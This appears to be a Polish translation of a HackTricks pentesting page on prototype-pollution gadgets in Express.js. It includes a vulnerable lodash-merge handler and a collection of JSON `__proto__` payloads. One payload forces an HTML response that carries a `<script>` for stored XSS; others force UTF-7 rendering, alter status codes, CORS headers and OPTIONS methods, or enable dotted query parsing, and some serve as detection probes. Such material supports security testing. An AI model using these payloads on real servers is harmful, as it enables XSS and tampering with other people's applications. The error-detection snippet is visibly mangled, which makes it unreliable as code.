Gadżety Zanieczyszczenia Prototypu Express
Reading time: 4 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Serwuj odpowiedzi XSS
Aby uzyskać więcej szczegółów zobacz oryginalne badania
Zmień typ zawartości JSON na HTML
W aplikacji Express używającej odpowiedzi z typem zawartości JSON i odzwierciedlającej JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
W tych przypadkach XSS nie jest zazwyczaj możliwe z typem treści JSON. Jednak dzięki zanieczyszczeniu prototypu możemy zmylić Express, aby zwrócił odpowiedź HTML. Ta podatność opiera się na tym, że aplikacja używa res.send(obj)
i korzysta z parsera treści z typem treści application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Poprzez zanieczyszczenie właściwości body
i _body
, możliwe jest spowodowanie, że Express będzie serwować typ zawartości HTML i odzwierciedli właściwość _body
, co skutkuje przechowywanym XSS.
Render UTF7
Możliwe jest, aby express renderował zawartość UTF-7 za pomocą:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Bezpieczne techniki skanowania
Przestrzenie JSON
Poniższy PP spowoduje, że atrybuty wewnątrz JSON będą miały dodatkową przestrzeń, co nie wpłynie na funkcjonalność:
{ "__proto__": { "json spaces": " " } }
Wtedy odzwierciedlony JSON będzie wyglądać następująco:
{"foo": "bar"} -- Note the extra space
Exposed Headers
Następujący gadżet PP spowoduje, że serwer wyśle nagłówek HTTP: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Wymaga to zainstalowania modułu CORS
Metoda OPTIONS
Za pomocą poniższego ładunku możliwe jest ukrycie metody w odpowiedzi OPTIONS:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Status
Możliwe jest zmienienie zwracanego kodu statusu za pomocą następującego ładunku PP:
{ "__proto__": { "status": 510 } }
Błąd
Kiedy przypisujesz do prototypu z prymitywem, takim jak ciąg, produkuje to operację no-op, ponieważ prototyp musi być obiektem. Jeśli spróbujesz przypisać obiekt prototypu do samego Object.prototype
, to wyrzuci wyjątek. Możemy użyć tych dwóch zachowań do wykrycia, czy zanieczyszczenie prototypu było udane:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
Kiedy aplikacja dołącza obiekt do swojej odpowiedzi, stworzenie atrybutu o nietypowej nazwie obok __proto__
może być pouczające. W szczególności, jeśli tylko nietypowy atrybut jest zwracany w odpowiedzi, może to wskazywać na podatność aplikacji:
{ "unusualName": "value", "__proto__": "test" }
Ponadto, w scenariuszach, w których używana jest biblioteka taka jak Lodash, ustawienie właściwości zarówno za pomocą zanieczyszczenia prototypu (PP), jak i bezpośrednio w obiekcie, oferuje inne podejście diagnostyczne. Jeśli taka właściwość jest pomijana w odpowiedzi, sugeruje to, że Lodash weryfikuje istnienie właściwości w docelowym obiekcie przed scaleniem:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Różne
Zezwól na kropki
Istnieje opcja w Express, która pozwala na tworzenie obiektów z parametrów ciągu zapytania.
Możesz to zdecydowanie wykorzystać w łańcuchu błędów, aby wykorzystać wrażliwość na zanieczyszczenie prototypu.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
tworzy obiekt w Node.
Odniesienia
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.